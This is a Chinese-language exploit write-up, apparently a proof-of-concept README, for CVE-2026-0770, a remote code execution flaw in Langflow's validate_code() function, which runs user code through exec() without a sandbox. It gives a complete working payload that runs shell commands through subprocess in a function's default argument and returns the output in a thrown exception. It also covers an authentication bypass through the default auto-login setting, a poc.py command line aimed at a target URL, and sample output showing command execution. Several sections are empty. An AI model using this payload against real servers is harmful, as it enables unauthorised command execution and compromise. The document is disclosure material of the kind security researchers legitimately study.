CVE-2026-0770 - Langflow 远程代码执行

概述

Langflow 在 src/lfx/src/lfx/custom/validate.py 中的 validate_code() 函数存在一个严重的远程代码执行漏洞。该函数使用 exec() 执行用户提供的 Python 代码，且没有沙箱隔离，允许在服务器上执行任意命令。

受影响版本

• Langflow 最新版（截至 2026 年 2 月 7 日）

其他 CVE

在相关函数和端点中已发现类似漏洞：

• CVE-2026-0772
• CVE-2026-0771
• CVE-2026-0769
• CVE-2026-0768
• CVE-2026-0767

漏洞详情

validate_code() 函数解析用户提供的代码，并使用 exec() 执行函数定义：

# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        exec(code_obj, exec_globals)  # <-- 任意代码执行

exec_globals 上下文包含对 importlib 和 Python 内置函数的访问权限，允许攻击者导入危险模块（os、subprocess、socket）并执行任意系统命令。

受影响端点

* 当 AUTO_LOGIN=true（默认配置）时，认证可以被绕过

其他易受攻击的函数

validate.py 中的以下函数也使用了不安全的 exec()：

漏洞利用

生成器抛出技巧

validate_code() 函数只执行函数定义，而不执行函数调用。为了实现代码执行并外泄输出，我们利用 Python 对默认参数的求值顺序。

关键洞察： 默认参数表达式在函数定义时求值，而不是在函数调用时。

def foo(x=print("I execute immediately")):
    pass

然而，我们需要通过 HTTP 响应外泄输出。端点会在响应体中返回错误信息，因此我们需要抛出一个包含输出的异常。

问题： raise 是语句，不是表达式，因此不能直接在默认参数中使用。

解决方案： 使用生成器的 .throw() 方法，它可以抛出异常，并且是表达式：

(_ for _ in ()).throw(Exception("output here"))

这会创建一个空生成器并立即抛出异常。结合 lambda 来捕获命令输出：

def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass

执行流程：

1. exec() 运行函数定义
2. 默认参数 _=... 立即被求值
3. subprocess.run() 执行命令
4. Lambda 接收结果并调用生成器 .throw()
5. 抛出包含命令输出的异常
6. validate_code() 捕获异常并在响应中返回错误信息

使用方法

python poc.py --target http://localhost:7860 -c "id && whoami && hostname"

选项

示例输出（来自 Docker 容器 langflowai/langflow:latest - 2026 年 2 月 7 日）

[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567

参考资料

• Langflow GitHub：https://github.com/langflow-ai/langflow
• 易受攻击的文件：src/lfx/src/lfx/custom/validate.py